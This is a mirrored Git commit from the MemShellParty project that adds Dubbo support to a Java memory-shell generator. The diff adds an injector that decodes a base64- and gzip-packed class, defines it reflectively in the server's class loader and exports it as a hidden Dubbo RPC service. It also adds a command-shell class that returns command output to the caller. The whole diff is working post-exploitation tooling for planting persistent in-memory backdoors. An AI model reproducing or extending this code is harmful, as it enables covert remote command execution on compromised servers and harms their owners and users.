mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support dubbo service memshell
This commit is contained in:
@@ -41,6 +41,7 @@ dependencies {
|
||||
implementation(libs.reactor.netty.core)
|
||||
implementation(libs.jackson.annotations)
|
||||
implementation(libs.bundles.jna)
|
||||
implementation("org.apache.dubbo:dubbo:2.7.8")
|
||||
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testImplementation(libs.hamcrest)
|
||||
|
||||
@@ -21,4 +21,5 @@ public class Server {
|
||||
public static final String SpringWebFlux = "SpringWebFlux";
|
||||
public static final String XXLJOB = "XXLJOB";
|
||||
public static final String Struct2 = "Struct2";
|
||||
public static final String Dubbo = "Dubbo";
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.Strings;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -60,20 +63,31 @@ public class MemShellGenerator {
|
||||
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
|
||||
String interfaceName = shellToolConfig.getShellClassName() + "$1";
|
||||
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
||||
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
||||
String urlPattern = injectorConfig.getUrlPattern();
|
||||
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
||||
|| StringUtils.isBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(shellToolConfig.getShellClassName());
|
||||
}
|
||||
}
|
||||
|
||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||
}
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
|
||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Bytecode)
|
||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||
|
||||
@@ -32,6 +32,8 @@ public class MemShellResult {
|
||||
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||
private long injectorSize;
|
||||
private String injectorBytesBase64Str;
|
||||
private String injectorHelperBytesBase64Str;
|
||||
private long injectorHelperSize;
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfig shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
@@ -46,8 +48,15 @@ public class MemShellResult {
|
||||
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||
injectorSize = injectorBytes.length;
|
||||
}
|
||||
if (injectorConfig.getHelperClassBytes() != null) {
|
||||
injectorHelperBytesBase64Str = Base64.getEncoder().encodeToString(injectorConfig.getHelperClassBytes());
|
||||
injectorHelperSize = injectorConfig.getHelperClassBytes().length;
|
||||
|
||||
}
|
||||
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize,
|
||||
injectorBytesBase64Str, injectorHelperBytesBase64Str, injectorHelperSize,
|
||||
shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -47,6 +47,7 @@ public class ServerFactory {
|
||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||
register(Server.XXLJOB, XxlJob::new);
|
||||
register(Server.Struct2, Struct2::new);
|
||||
register(Server.Dubbo, Dubbo::new);
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
@@ -162,6 +163,7 @@ public class ServerFactory {
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||
.addShellClass(DUBBO_SERVICE, CommandDubboService.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
|
||||
@@ -49,5 +49,7 @@ public class ShellType {
|
||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||
|
||||
public static final String DUBBO_SERVICE = "DubboService";
|
||||
|
||||
public static final String ACTION = "Action";
|
||||
}
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
public class DubboServiceInterfaceHelperGenerator {
|
||||
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
||||
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
||||
.redefine(ShellDubboService.class)
|
||||
.name(interfaceName)
|
||||
.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+1
-2
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.field(named("headerName")).value(headerPair.getKey())
|
||||
.field(named("headerValue")).value(headerPair.getValue())
|
||||
.name(CommonUtil.generateClassName());
|
||||
.name(shellToolConfig.getShellClassName() + "$1");
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
+1
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||
|
||||
+249
@@ -0,0 +1,249 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||
import org.apache.dubbo.common.utils.ClassUtils;
|
||||
import org.apache.dubbo.common.utils.NetUtils;
|
||||
import org.apache.dubbo.config.ProtocolConfig;
|
||||
import org.apache.dubbo.config.RegistryConfig;
|
||||
import org.apache.dubbo.config.ServiceConfig;
|
||||
import org.apache.dubbo.config.ServiceConfigBase;
|
||||
import org.apache.dubbo.config.context.ConfigManager;
|
||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collection;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class DubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public DubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + getErrorMessage(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
private Class<?> getShell(String base64String) throws Exception {
|
||||
ClassLoader classLoader = ClassUtils.getClassLoader(ClassGenerator.class);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(base64String));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
|
||||
String.class, byte[].class, int.class, int.class, java.security.ProtectionDomain.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, null, clazzByte, 0, clazzByte.length,
|
||||
ClassGenerator.class.getProtectionDomain());
|
||||
registerInJavassistClassPool(classLoader, clazzByte);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz;
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
Object pool = ClassGenerator.getClassPool(classLoader);
|
||||
pool.getClass().getMethod("makeClass", java.io.InputStream.class)
|
||||
.invoke(pool, new ByteArrayInputStream(classBytes));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
public String registerService() throws Throwable {
|
||||
String normalizedPath = normalizePath(getUrlPattern());
|
||||
if (normalizedPath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
|
||||
if (dynamicServices.containsKey(normalizedPath)) {
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
}
|
||||
|
||||
if (isPathRegisteredInFramework(normalizedPath)) {
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
}
|
||||
Class<?> interfaceClass = getShell(getHelperBase64String());
|
||||
Class<?> implementationClass = getShell(getBase64String());
|
||||
validateServiceTypes(interfaceClass, implementationClass);
|
||||
|
||||
Object serviceInstance = instantiate(implementationClass);
|
||||
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
|
||||
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
|
||||
if (previous != null) {
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
}
|
||||
|
||||
try {
|
||||
serviceConfig.export();
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
} catch (RuntimeException e) {
|
||||
dynamicServices.remove(normalizedPath, serviceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
private boolean isPathRegisteredInFramework(String path) {
|
||||
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices();
|
||||
return services.stream().anyMatch(s -> path.equals(s.getPath()));
|
||||
}
|
||||
|
||||
private String normalizePath(String path) {
|
||||
if (path == null) {
|
||||
return "";
|
||||
}
|
||||
String normalized = path.trim();
|
||||
while (normalized.startsWith("/")) {
|
||||
normalized = normalized.substring(1);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
|
||||
if (!interfaceClass.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
|
||||
}
|
||||
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
|
||||
}
|
||||
if (!interfaceClass.isAssignableFrom(implementationClass)) {
|
||||
throw new IllegalArgumentException(implementationClass.getName()
|
||||
+ " does not implement " + interfaceClass.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> implementationClass) {
|
||||
try {
|
||||
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance();
|
||||
} catch (ReflectiveOperationException e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
|
||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||
|
||||
ServiceConfig serviceConfig = new ServiceConfig();
|
||||
serviceConfig.setInterface(interfaceClass);
|
||||
serviceConfig.setRef(serviceInstance);
|
||||
serviceConfig.setPath(path);
|
||||
serviceConfig.setVersion("1.0.0");
|
||||
serviceConfig.setApplication(configManager.getApplication().orElse(null));
|
||||
|
||||
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
|
||||
if (protocols.isEmpty()) {
|
||||
protocols = new ArrayList<>(configManager.getProtocols());
|
||||
}
|
||||
serviceConfig.setProtocols(protocols);
|
||||
|
||||
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
|
||||
if (registries.isEmpty()) {
|
||||
registries = new ArrayList<>(configManager.getRegistries());
|
||||
}
|
||||
serviceConfig.setRegistries(registries);
|
||||
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String path) {
|
||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
|
||||
if (protocols.isEmpty()) {
|
||||
protocols = new ArrayList<>(configManager.getProtocols());
|
||||
}
|
||||
if (protocols.isEmpty()) {
|
||||
return path;
|
||||
}
|
||||
String localHost = NetUtils.getLocalHost();
|
||||
return protocols.stream()
|
||||
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.DubboServiceInjector;
|
||||
|
||||
public class Dubbo extends AbstractServer {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(ShellType.DUBBO_SERVICE, DubboServiceInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.shelltool;
|
||||
|
||||
public interface ShellDubboService {
|
||||
byte[] handle(byte[] bytes);
|
||||
}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class CommandDubboService {
|
||||
|
||||
public byte[] handle(byte[] bytes) {
|
||||
if (bytes == null || bytes.length == 0) {
|
||||
return new byte[0];
|
||||
}
|
||||
String p = new String(bytes);
|
||||
String param = getParam(p);
|
||||
try {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
return outputStream.toByteArray();
|
||||
} catch (Exception e) {
|
||||
return getErrorMessage(e).getBytes();
|
||||
}
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrap(Object obj, String fieldName) {
|
||||
try {
|
||||
return getFieldValue(obj, fieldName);
|
||||
} catch (Throwable e) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user